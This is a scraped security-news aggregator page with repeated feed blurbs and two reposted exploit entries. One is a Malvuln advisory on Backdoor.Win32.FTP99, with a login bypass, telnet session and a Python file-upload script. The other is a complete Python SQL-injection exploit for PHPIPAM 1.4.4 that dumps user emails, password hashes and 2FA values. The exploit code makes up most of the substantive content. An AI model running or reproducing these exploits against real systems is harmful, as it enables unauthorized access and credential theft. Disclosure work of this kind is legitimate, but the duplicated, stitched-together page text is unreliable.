Hacking Articles Tips Tricks Videos Tutorials
Photo
Dark Reading: Attacks/Breaches
4 Steps Toward Knowing Your Exploitable Attack Surface
Actionable steps you can take today to identify the true risk your organization faces — learn how to separate the exploitable vulnerabilities from the rest.
4 Steps Toward Knowing Your Exploitable Attack Surface
Actionable steps you can take today to identify the true risk your organization faces — learn how to separate the exploitable vulnerabilities from the rest.
I found a way to extract passwords from any iOS device. When I reported it to Apple? Silence.
https://medium.com/@ConnorFord1/i-found-a-way-to-extract-passwords-from-any-ios-device-when-i-reported-it-to-apple-silence-a027b12b7013?source=rss------bug_bounty-5
https://medium.com/@ConnorFord1/i-found-a-way-to-extract-passwords-from-any-ios-device-when-i-reported-it-to-apple-silence-a027b12b7013?source=rss------bug_bounty-5
Apple’s Bug Bounty program, in theory, incentivizes programmers to report flaws they find in the company’s code. In practice? Not so much.Continue reading on Medium » (https://medium.com/@ConnorFord1/i-found-a-way-to-extract-passwords-from-any-ios-device-when-i-reported-it-to-apple-silence-a027b12b7013?source=rss------bug_bounty-5)
I found a way to extract passwords from any iOS device. When I reported it to Apple? Silence.
Apple’s Bug Bounty program, in theory, incentivizes programmers to report flaws they find in the company’s code. In practice? Not so much.Continue reading on Medium »
Read more...
Apple’s Bug Bounty program, in theory, incentivizes programmers to report flaws they find in the company’s code. In practice? Not so much.Continue reading on Medium »
Read more...
Ensuring protocol security with Immunefi bug bounty program
Calling all devs and hackers. Help enhance our smart contract security and prevent thefts, freezes, and unintended changes and earn.Continue reading on Medium »
Read more...
Calling all devs and hackers. Help enhance our smart contract security and prevent thefts, freezes, and unintended changes and earn.Continue reading on Medium »
Read more...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Backdoor.Win32.FTP99 Authentication Bypass
https://1.bp.blogspot.com/-ju6c7E-5MWk/WWlvdc1QT-I/AAAAAAAAIPk/ByEXv5vo16UsrlpTJMmF2Op4hfJEgrRpQCLcBGAs/s1600/h79.png
Backdoor.Win32.FTP99 malware suffers from an authentication bypass vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
Backdoor.Win32.FTP99 Authentication Bypass
https://1.bp.blogspot.com/-ju6c7E-5MWk/WWlvdc1QT-I/AAAAAAAAIPk/ByEXv5vo16UsrlpTJMmF2Op4hfJEgrRpQCLcBGAs/s1600/h79.png
Backdoor.Win32.FTP99 malware suffers from an authentication bypass vulnerability.
MD5 |
1e88fdedfe58e2a0eb8b026d597d1e0aDownload
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/09dd14d3988e08a56798b1480c55a5b0.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.FTP99
Vulnerability: Authentication Bypass Race Condition
Description: The malware listens on TCP port 1492. Credentials are stored in cleartext in "Serv-u.ini" file under "C:\Program Files (x86)\My Paquet archive" with a blank password. Third-party attackers who can reach the system before a password has been set can logon by just supplying the username "HACKCITY".
"Serv-u.ini"
[USER=hackcity]
Password=
HomeDir=c:\
AlwaysAllowLogin=YES
Type: PE32
MD5: 09dd14d3988e08a56798b1480c55a5b0
Vuln ID: MVID-2022-0465
Dropped files: Windll16.exe
Disclosure: 01/24/2022
Exploit/PoC:
telnet.exe x.x.x.x 1492
220-Serv-U FTP-Server v2.3b for WinSock ready...
220 0wn3d
230 User HACKCITY logged in
HELP
214- The following commands are recognized (* => unimplemented).
USER PORT RETR ALLO DELE SITE XMKD CDUP
PASS PASV STOR REST CWD STAT RMD XCUP
ACCT TYPE APPE RNFR XCWD HELP XRMD STOU
REIN STRU SMNT RNTO LIST NOOP PWD SIZE
QUIT MODE SYST ABOR NLST MKD XPWD MDTM
214 Serv-U, registered to: Data Case
SYST
215 UNIX Type: L8
PASV
227 Entering Passive Mode (192,168,18,129,206,190)
STOR DOOM.exe
150 Opening ASCII mode data connection for DOOM.exe.
STOR DOOM.exe
226 Transfer complete - file DOOM.exe received successfully
from socket import *
MALWARE_HOST="192.168.18.129"
PORT=52926
DOOM="DOOM.exe"
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
s.close()
print("By Malvuln");
if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
PHPIPAM 1.4.4 SQL Injection
https://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png
PHPIPAM version 1.4.4 suffers from an authenticated remote SQL injection vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
PHPIPAM 1.4.4 SQL Injection
https://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png
PHPIPAM version 1.4.4 suffers from an authenticated remote SQL injection vulnerability.
MD5 |
4b8d5d6218feb96b1ddd63205a5b1750Download
# Exploit Title: PHPIPAM 1.4.4 - SQLi (Authenticated)
# Google Dork: [if applicable]
# Date: 20/01/2022
# Exploit Author: Rodolfo "Inc0gbyt3" Tavares
# Vendor Homepage: https://github.com/phpipam/phpipam
# Software Link: https://github.com/phpipam/phpipam
# Version: 1.4.4
# Tested on: Linux/Windows
# CVE : CVE-2022-23046
import requests
import sys
import argparse
################
"""
Author of exploit: Rodolfo 'Inc0gbyt3' Tavares
CVE: CVE-2022-23046
Type: SQL Injection
Usage:
$ python3 -m pip install requests
$ python3 exploit.py -u http://localhost:8082 -U <admin-P <password
"""
###############
__author__ = "Inc0gbyt3"
menu = argparse.ArgumentParser(description="[+] Exploit for PHPIPAM Version: 1.4.4 Authenticated SQL Injection\n CVE-2022-23046")
menu.add_argument("-u", "--url", help="[+] URL of target, example: https://phpipam.target.com", type=str)
menu.add_argument("-U", "--user", help="[+] Username", type=str)
menu.add_argument("-P", "--password", help="[+] Password", type=str)
args = menu.parse_args()
if len(sys.argv) < 3:
menu.print_help()
target = args.url
user = args.user
password = args.password
def get_token():
u = f"{target}/app/login/login_check.php"
try:
r = requests.post(u, verify=False, timeout=10, headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}, data={"ipamusername":user, "ipampassword":password})
headers = r.headers['Set-Cookie']
headers_string = headers.split(';')
for s in headers_string:
if "phpipam" in s and "," in s: # double same cookie Check LoL
cookie = s.strip(',').lstrip()
return cookie
except Exception as e:
print(f"[+] {e}")
def exploit_sqli():
cookie = get_token()
xpl = f"{target}/app/admin/routing/edit-bgp-mapping-search.php"
data = {
"subnet":'pwn"union select(select concat(@:=0x3a,(select+count(*) from(users)where(@:=concat(@,email,0x3a,password,"0x3a",2fa))),@)),2,3,user() -- -', # dios query dump all :)
"bgp_id":1
}
headers = {
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Cookie": cookie
}
try:
r = requests.post(xpl, verify=False, timeout=10, headers=headers, data=data)
if "admin" in r.text or "rounds" in r.text:
print("[+] Vulnerable..\n\n")
print(f"> Users and hash passwords: \n\n{r.text}")
print("\n\n> DONE
except Exception as e:
print(f"[-] {e}")
if __name__ == '__main__':
exploit_sqli()
Source:packetstormsecurity.com